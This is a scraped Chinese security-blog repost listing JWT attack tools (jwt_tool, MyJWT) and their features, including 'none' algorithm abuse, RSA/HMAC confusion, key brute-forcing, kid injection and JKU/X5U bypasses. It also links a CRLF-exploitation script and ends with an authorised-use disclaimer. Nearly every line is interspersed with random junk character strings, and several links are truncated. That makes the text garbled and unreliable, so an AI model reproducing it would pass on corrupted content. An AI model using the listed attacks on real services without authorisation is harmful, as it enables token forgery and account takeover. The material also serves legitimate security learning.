" ]1 Y/ s- q" E* Y2 _ https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool

5 F; y" W! a/ H5 t" ]1 G) M

K2 G* z0 S! h2 u1 m

) v% ]5 ~9 | S: u$ t- R1 u. d MyJWT

/ {7 q( y# l# ? 项目地址 : H3 k, {' y2 X% v

( D) n$ M% E6 f

https://github.com/tyki6/MyJWT/ 1 _! b6 m2 p, v+ m: o4 Y X( R. T

- \# e2 L8 {3 s

4 I7 b# h' n( F5 m; @

D4 n9 V1 j# Y8 t5 a  

功能说明 W% n- I3 p' I) ]7 K. \% l

• ; |5 |9 E! m) [" j copy new jwt to clipboard ' D6 b3 z0 K$ W( u3 j7 L3 n( i
+ G) W9 i! x: e, F& A0 w7 _+ l
• ! ?( Z, P, ^. e* {: q3 w user Interface (thanks questionary)
• color output
• modify jwt (header/Payload)
% q' f9 r9 v' ?4 l$ V
• None Vulnerability
I4 k# [0 E$ ~) m
• % m0 K( q# ], {1 |" C RSA/HMAC confusion 9 x0 X0 |. F& U- c& ]6 ^5 {
0 \6 k( L9 p, e8 f0 y0 L
• 9 j8 o. y* r8 g5 v- {! b: x# n Sign a jwt with key " Y% B; | v& n. E% v% [) n
• * X) ~) m+ w2 n) ~, n& z f Brute Force to guess key
• crack jwt with regex to guess key 4 K" ]0 _4 [% m
• / {' I4 d7 S5 [) ?. E' R& z kid injection 0 n$ f* j2 u8 [
• Jku Bypass
0 W" U a4 ]& x
• X5u Bypass

- R' V( W' s6 d; G9 Z9 b7 |0 {

辅助脚本

& c" V: W* ]7 y7 g8 x

) S G2 P* I. K% C' q" k& U 脚本地址 9 X% t k+ {& u- W4 c

9 R" q" N% e: M

https://gist.github.com/imparabl3/efcf4a991244b9f8f99ac39a7c8cfe6f 6 K0 V; M0 J9 h0 b

# k: E" B+ n _) o5 M/ a

脚本功能

7 g, a6 |+ T9 D' B9 @( d

用于利用CRLF漏洞的脚本

; l: L& z. H0 ~6 F$ L4 r: c# ?- K

8 n, e- E6 t2 T& ? 参考链接 ; r4 S e5 E$ h" g7 o7 }

5 x$ u% B7 i7 E( d

2 p8 q3 \2 p6 g. Y6 a, c X https://1024tools.com/hmac
https://github.com/ticarpi/jwt_tool
https://www.anquanke.com/post/id/236830
https://www.freebuf.com/articles/web/337347.html
4 L2 g2 y% I3 q9 Hhttps://digi.ninja/projects/authlab.php#landleakyjwt
7 k- q3 X9 }, @4 {6 X ihttps://attackdefense.com/challengedetails?cid=1424
# F$ n6 d+ A* b [8 @https://github.com/wallarm/jwt-s ... er/jwt.secrets.list
1 E/ |$ ~ i3 {https://portswigger.net/web-secu ... nverified-signature & V3 G! f! _& H* A. O* `# i$ b

6 I, V/ y5 _9 p. E# Y$ y- c f

  / [# b" H p0 I& m* Y; B

4 G) v8 s6 U$ O5 `+ k

- g. ^- I( S) J* A8 x
• ) X1 F& W$ c9 b& g2 ?" u) v  
8 I' {" p+ }& z3 B8 o. ?

0 T% L6 {, W7 C3 M/ w, g

原文地址：https://xz.aliyun.com/t/12906 8 q% w) n6 _+ b& y' W, r* C4 G

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！ 3 Q, U& ] J* }

0 _$ o5 p; Z! P   ; O7 N# z; d! t; r. E7 P2 b! G

5 m( `( k2 a& {* B$ i

: B9 b8 s. w+ ^- d